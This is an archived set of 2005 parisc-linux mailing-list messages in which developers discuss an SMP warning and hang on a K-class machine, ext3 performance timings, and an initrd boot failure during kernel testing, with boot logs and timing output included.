X-Trace: ger.gmane.org 1416623725 13567 80.91.229.3 (22 Nov 2014 02:35:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:25 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:18 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 28 Mar 2005 12:27:42 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx005) with SMTP; 28 Mar 2005 14:27:42 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 629297D633;
	Mon, 28 Mar 2005 05:29:16 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23882-07; Mon, 28 Mar 2005 05:29:16 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C82297D648;
	Mon, 28 Mar 2005 05:29:15 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C9EEA7D62B
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 28 Mar 2005 05:29:11 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23917-01 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 28 Mar 2005 05:29:11 -0700 (MST)
Original-Received: from tyra.ing.umu.se (tyra.ing.umu.se [130.239.117.83])
	by free.linux.hp.com (Postfix) with ESMTP id 427187D611
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 28 Mar 2005 05:29:11 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by tyra.ing.umu.se (Postfix) with ESMTP id 24D2E1E29A8
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 28 Mar 2005 14:27:59 +0200 (CEST)
Original-Received: from tyra.ing.umu.se ([127.0.0.1])
	by localhost (tyra.ing.umu.se [127.0.0.1]) (amavisd-new, port 10024)
	with LMTP id 13045-01 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 28 Mar 2005 14:27:49 +0200 (CEST)
Original-Received: by tyra.ing.umu.se (Postfix, from userid 1000)
	id 67A244C29B; Mon, 28 Mar 2005 14:27:49 +0200 (CEST)
Content-Disposition: inline
User-Agent: Mutt/1.5.6i
X-Virus-Scanned: by amavisd-new at ing.umu.se
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: aJ01YktAeSE5+76WZHQhaXN2IGRvb0D0
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22525

well i got help with the ccio-dma problem.
but now i get smp badness.

kernel 2.6.12-rc1-pa4 with a little ccio fix 
gcc version 3.3.5

bootlog can be found at 
www.ing.umu.se/~dizzey/k460_bootlog


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] k-class smp_call_function
	at	arch/parisc/kernel/smp.c:340
Date: Mon, 28 Mar 2005 13:04:27 +0000
Lines: 39
Approved: news@gmane.org
Message-ID: <424800DB.6000709@tiscali.be>
References: <20050328122749.GB12853@ing.umu.se>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623725 13570 80.91.229.3 (22 Nov 2014 02:35:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:25 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Anders <dizzey@ing.umu.se>
Original-X-From: - Wed Jul 02 21:27:18 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 28 Mar 2005 13:04:37 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx020) with SMTP; 28 Mar 2005 15:04:37 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 253F27D6B8;
	Mon, 28 Mar 2005 06:06:10 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24267-06; Mon, 28 Mar 2005 06:06:10 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 844397D6B1;
	Mon, 28 Mar 2005 06:06:09 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1BF997D6AD
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 28 Mar 2005 06:06:06 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24149-06 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 28 Mar 2005 06:06:05 -0700 (MST)
Original-Received: from spoolo3.tiscali.be (spoolo3.tiscali.be [62.235.13.169])
	by free.linux.hp.com (Postfix) with ESMTP id 908EB7D69A
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 28 Mar 2005 06:06:05 -0700 (MST)
Original-Received: from [83.134.227.83] (helo=[83.134.227.83])
	by spoolo3.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1DFtuu-0003Ck-DV; Mon, 28 Mar 2005 15:04:28 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.6) Gecko/20050324 Debian/1.7.6-1
X-Accept-Language: en
In-Reply-To: <20050328122749.GB12853@ing.umu.se>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: sWU6Yo0qeSE5+76WZHQhaXN2IGRvbwAP
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22526



Anders wrote:
> well i got help with the ccio-dma problem.
> but now i get smp badness.
> 
mostly harmless (see among other reports: <http://lists.parisc-linux.org/pipermail/parisc-linux/2004-August/024291.html>

> kernel 2.6.12-rc1-pa4 with a little ccio fix 
Cool

> gcc version 3.3.5
> 
> bootlog can be found at 
> www.ing.umu.se/~dizzey/k460_bootlog
> 
Do I well understand: the system hung after last messages:
...
FLT  5208



FLT"

?

(sorry never seen this before?)

btw could you have a try with a up kernel?

Thanks,
	Joel

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ext3 perf patch#4
Date: Mon, 28 Mar 2005 12:51:10 +0000
Lines: 77
Approved: news@gmane.org
Message-ID: <4247FDBE.2010306@tiscali.be>
References: <20050326103540.GA31557@colo.lackof.org>
	<20050327011849.GD9287@colo.lackof.org>
	<4246B9D2.7070906@tiscali.be>
	<20050328034838.GI30963@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623725 13573 80.91.229.3 (22 Nov 2014 02:35:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:25 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:18 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 28 Mar 2005 12:51:30 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx042) with SMTP; 28 Mar 2005 14:51:30 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CB12A7D6B2;
	Mon, 28 Mar 2005 05:52:53 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24149-03; Mon, 28 Mar 2005 05:52:53 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DCF6A7D6B3;
	Mon, 28 Mar 2005 05:52:52 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0FE1A7D6AF
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 28 Mar 2005 05:52:49 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23882-10 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 28 Mar 2005 05:52:48 -0700 (MST)
Original-Received: from spoolo1.tiscali.be (spoolo1.tiscali.be [62.235.13.172])
	by free.linux.hp.com (Postfix) with ESMTP id 61A357D633
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 28 Mar 2005 05:52:48 -0700 (MST)
Original-Received: from [83.134.227.83] (helo=[83.134.227.83])
	by spoolo1.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1DFti3-0005d9-4J; Mon, 28 Mar 2005 14:51:11 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.6) Gecko/20050324 Debian/1.7.6-1
X-Accept-Language: en
In-Reply-To: <20050328034838.GI30963@colo.lackof.org>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: hJg1YnMieSE5+76WZHQhaXN2IGRvb4DC
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22527



Grant Grundler wrote:
> On Sun, Mar 27, 2005 at 01:49:06PM +0000, Joel Soete wrote:
> ...
> 
>># time rsync -a /Debian-apt/SRC/linux-2.6.12-rc1-pa4-050327 /Sources/CVS-tst
>>
>>real    3m34.512s
>>user    1m0.730s
>>sys     1m6.440s
> 
> 
> Joel,
> thanks for the data!
> 
> But I don't know what it means.
> Was the performance bad for that box before?
> 
:-)
No just looks like as before:
# uname -a
Linux hpalin 2.6.12-rc1-pa1-c110 #2 Sat Mar 19 23:36:05 CET 2005 parisc GNU/Linux
# time rsync -a /Debian-apt/SRC/linux-2.6.12-rc1-pa4-050327 /Sources/CVS-tst

real    3m44.365s
user    1m0.350s
sys     1m11.120s


> 
>>I prefer simply tar and so:
>># cd /Debian-apt/SRC
>># time tar -cslpf /chroot/Develop/linux-2.6.12-rc1-pa4.tar2 
>>linux-2.6.12-rc1-pa4-050327
>>
>>real    0m38.487s
>>user    0m3.690s
>>sys     0m18.650s
>>
>>a sample iostat too :-)
>>avg-cpu:  %user   %nice    %sys %iowait   %idle
>>          15.70    0.00   47.00   37.30    0.00
>>
>>Device:            tps   Blk_read/s   Blk_wrtn/s   Blk_read   Blk_wrtn
>>sda               2.50         0.00        19.60          0        196
>>sdb             297.30      5906.40        89.20      59064        892
>>sdc              15.10         0.00      7712.80          0      77128
> 
> ...
> 
> That looks fine.
> 
Yes, sorry for confusion (I would just show that it works and nothing was broken)

...
> 
> I probably should have posted that speculation to the mailing list
> instead of in the commit log...I was quite tired at that point.
> 
Don't wory I would have to be disturbe or confused by the song of a bird in the garden ?-)
(the 32bit bug has obviously nothing to do with that)

> That could only be true if ext3 perf issue only shows up in 64-bit kernels.
> I don't recall if anyone posted perf results for 32-bit kernels.
> 
TBH, the 2 64bit system I have the oportunity to test (b2k up, n4k smp) are so confortable (well n4k ask many time for self test on 
reboot) from speed point of view that I never noticed ext[23] lack of perf ;-)

Thanks,
	Joel
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Anders <dizzey@ing.umu.se>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] k-class smp_call_function
	at	arch/parisc/kernel/smp.c:340
Date: Mon, 28 Mar 2005 15:38:37 +0200
Lines: 44
Approved: news@gmane.org
Message-ID: <20050328133837.GA14623@ing.umu.se>
References: <20050328122749.GB12853@ing.umu.se> <424800DB.6000709@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623726 13577 80.91.229.3 (22 Nov 2014 02:35:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:26 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:18 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 28 Mar 2005 13:38:31 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx067) with SMTP; 28 Mar 2005 15:38:31 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 99A927D6B9;
	Mon, 28 Mar 2005 06:40:04 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25959-05; Mon, 28 Mar 2005 06:40:04 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C81FD7D6BB;
	Mon, 28 Mar 2005 06:40:03 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7406D7D6B7
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 28 Mar 2005 06:40:00 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24795-10 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 28 Mar 2005 06:40:00 -0700 (MST)
Original-Received: from tyra.ing.umu.se (tyra.ing.umu.se [130.239.117.83])
	by free.linux.hp.com (Postfix) with ESMTP id E1B847D6B6
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 28 Mar 2005 06:39:59 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by tyra.ing.umu.se (Postfix) with ESMTP id C73404C29B
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 28 Mar 2005 15:38:47 +0200 (CEST)
Original-Received: from tyra.ing.umu.se ([127.0.0.1])
	by localhost (tyra.ing.umu.se [127.0.0.1]) (amavisd-new, port 10024)
	with LMTP id 14515-02 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 28 Mar 2005 15:38:37 +0200 (CEST)
Original-Received: by tyra.ing.umu.se (Postfix, from userid 1000)
	id AAB3D4A3F2; Mon, 28 Mar 2005 15:38:37 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <424800DB.6000709@tiscali.be>
User-Agent: Mutt/1.5.6i
X-Virus-Scanned: by amavisd-new at ing.umu.se
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: gG06YuMTeSE5+76WZHQhaXN2IGRvb4C8
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22528

On Mon, Mar 28, 2005 at 01:04:27PM +0000, Joel Soete wrote:
> 
> 
> Anders wrote:
> >well i got help with the ccio-dma problem.
> >but now i get smp badness.
> >
> mostly harmless (see among other reports: 
> <http://lists.parisc-linux.org/pipermail/parisc-linux/2004-August/024291.html>
> 
> >kernel 2.6.12-rc1-pa4 with a little ccio fix 
> Cool
> 
> >gcc version 3.3.5
> >
> >bootlog can be found at 
> >www.ing.umu.se/~dizzey/k460_bootlog
> >
> Do I well understand: the system hung after last messages:
> ...
> FLT  5208
> 
> 
> 
> FLT"
> 
> ?
> 
> (sorry never seen this before?)
> 
> btw could you have a try with a up kernel?
> 
> Thanks,
> 	Joel
> 
Well yes the system hung after those messages the FLT parts are from the 
firmware during the reboot, so i only included them to show it was 
rebooting.  i will be back with a test from a up kernel soon.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Call for Testing
Date: Mon, 28 Mar 2005 14:42:42 +0000
Lines: 330
Approved: news@gmane.org
Message-ID: <424817E2.10705__42460.7376721271$1416623726$gmane$org@tiscali.be>
References: <20050327204550.GC7728@roadwarrior.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623726 13579 80.91.229.3 (22 Nov 2014 02:35:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:26 +0000 (UTC)
Cc: debian-hppa@lists.debian.org,
 parisc-linux@lists.parisc-linux.org
To: Kyle McMartin <kyle@debian.org>
Original-X-From: - Wed Jul 02 21:27:18 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <bounce-debian-hppa=deller=gmx.de@lists.debian.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 28 Mar 2005 14:58:37 -0000
Original-Received: from murphy.debian.org (EHLO murphy.debian.org) [146.82.138.6]
  by mx0.gmx.net (mx007) with SMTP; 28 Mar 2005 16:58:37 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by murphy.debian.org (Postfix) with QMQP
	id 830CF2E624; Mon, 28 Mar 2005 08:58:33 -0600 (CST)
Old-Return-Path: <soete.joel@tiscali.be>
X-Original-To: debian-hppa@lists.debian.org
Original-Received: from spoolo1.tiscali.be (spoolo1.tiscali.be [62.235.13.172])
	by murphy.debian.org (Postfix) with ESMTP id C822E2E58A
	for <debian-hppa@lists.debian.org>; Mon, 28 Mar 2005 08:42:45 -0600 (CST)
Original-Received: from [83.134.227.83] (helo=[83.134.227.83])
	by spoolo1.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1DFvRz-0001o9-GN; Mon, 28 Mar 2005 16:42:44 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.6) Gecko/20050324 Debian/1.7.6-1
X-Accept-Language: en
In-Reply-To: <20050327204550.GC7728@roadwarrior.mcmartin.ca>
X-Rc-Spam: 2005-02-20_01
X-Rc-Virus: 2005-02-17_01
X-Rc-Spam: 2005-02-20_01
X-Spam-Checker-Version: SpamAssassin 2.63-lists.debian.org_2005_02_21_01 
	(2004-01-11) on murphy.debian.org
X-Spam-Status: No, hits=1.1 required=4.0 tests=AWL,FVGT_m_MULTI_ODD,
	IMPRONONCABLE_1,IMPRONONCABLE_2 autolearn=no 
	version=2.63-lists.debian.org_2005_02_21_01
X-Spam-Level: *
Resent-Message-ID: <WV6y-.A.WFC.ZuBSCB@murphy>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/4351
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
List-Archive: <http://lists.debian.org/debian-hppa/>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Mon, 28 Mar 2005 08:58:33 -0600 (CST)
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Sender is in whitelist: bounce-debian-hppa=deller=gmx.de@lists.debian.org)
X-GMX-UID: yH46YkcOeSE5+76WZHQhaXN2IGRvb4CV
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22529

Hello Kyle,

I test it on a up 32bit c110 model, ...

Kyle McMartin wrote:
> Hi,
> 
> I've backported some more patches to 2.6.8 for possible[1] inclusion in
> sarge (they fix some possibly important bits).
> 
> You can find kernels here:
> 	http://www.parisc-linux.org/~kyle/debian-kernel/2005-03-27/
> 
so i consider kernel-image-2.6.8-2-32_2.6.8-7_hppa.deb, ok?

I tried for the first time to boot an initrd.img but unfortunaltely it failed to complete the boot (boot log):
Current command line:
3/vmlinux-2.6.8-2-32 root=/dev/md2 initrd=3/initrd.img HOME=/ panic=120 profile2 0: 3/vmlinux-2.6.8-2-32
  1: root=/dev/md2
  2: initrd=3/initrd.img
  3: HOME=/
  4: panic=120
  5: profile=2
  6: console=ttyS0
  7: TERM=vt102

<#>    edit the numbered field
'b'    boot with this command line
'r'    restore command line
'l'    list dir
? b

Command line for kernel: 'root=/dev/md2 HOME=/ panic=120 profile=2 console=ttyS'Selected kernel: /vmlinux-2.6.8-2-32 from partition 3
Selected ramdisk: /initrd.img from partition 3
ELF32 executable
Entry 00100000 first 00100000 n 2
Segment 0 load 00100000 size 2242736 mediaptr 0x1000
Segment 1 load 00324000 size 1056902 mediaptr 0x225000
Loading ramdisk 4714496 bytes @ 1fb6d000...
Branching to kernel entry point 0x00100000.  If this is the last
message you see, you may need to switch your console.  This is
a common symptom -- search the FAQ and mailing list at parisc-linux.org

Linux version 2.6.8-2-32 (kyle@caradhras) (gcc version 3.3.5 (Debian 1:3.3.5-125FP[0] enabled: Rev 1 Model 11
The 32-bit Kernel has started...
Determining PDC firmware type: System Map.
model 000058e0 00000481 00000000 00000002 77e47570 100000f1 00000004 0000008a 0avers  0000000d
CPUID vers 11 rev 13 (0x0000016d)
model 9000/777/C110
Total Memory: 512 Mb
initrd: 2fb6d000-2ffec000
initrd: reserving 1fb6d000-1ffec000 (mem_max 20000000)
LED display at f0190001 registered
Built 1 zonelists
Kernel command line: root=/dev/md2 HOME=/ panic=120 profile=2 console=ttyS0 TER2kernel profiling enabled
PID hash table entries: 16 (order 4: 128 bytes)
Console: colour dummy device 160x64
Dentry cache hash table entries: 131072 (order: 7, 524288 bytes)
Inode-cache hash table entries: 65536 (order: 6, 262144 bytes)
Memory: 524288k available
Calibrating delay loop... 119.60 BogoMIPS
Security Scaffold v1.0.0 initialized
Capability LSM initialized
Mount-cache hash table entries: 512 (order: 0, 4096 bytes)
checking if image is initramfs...it isn't (ungzip failed); looks like an initrd
NET: Registered protocol family 16
EISA bus registered
Searching for devices...
Found devices:
1. U2-IOA BC Runway Port at 0xfff88000 [8] { 12, 0x7, 0x580, 0x0000b }
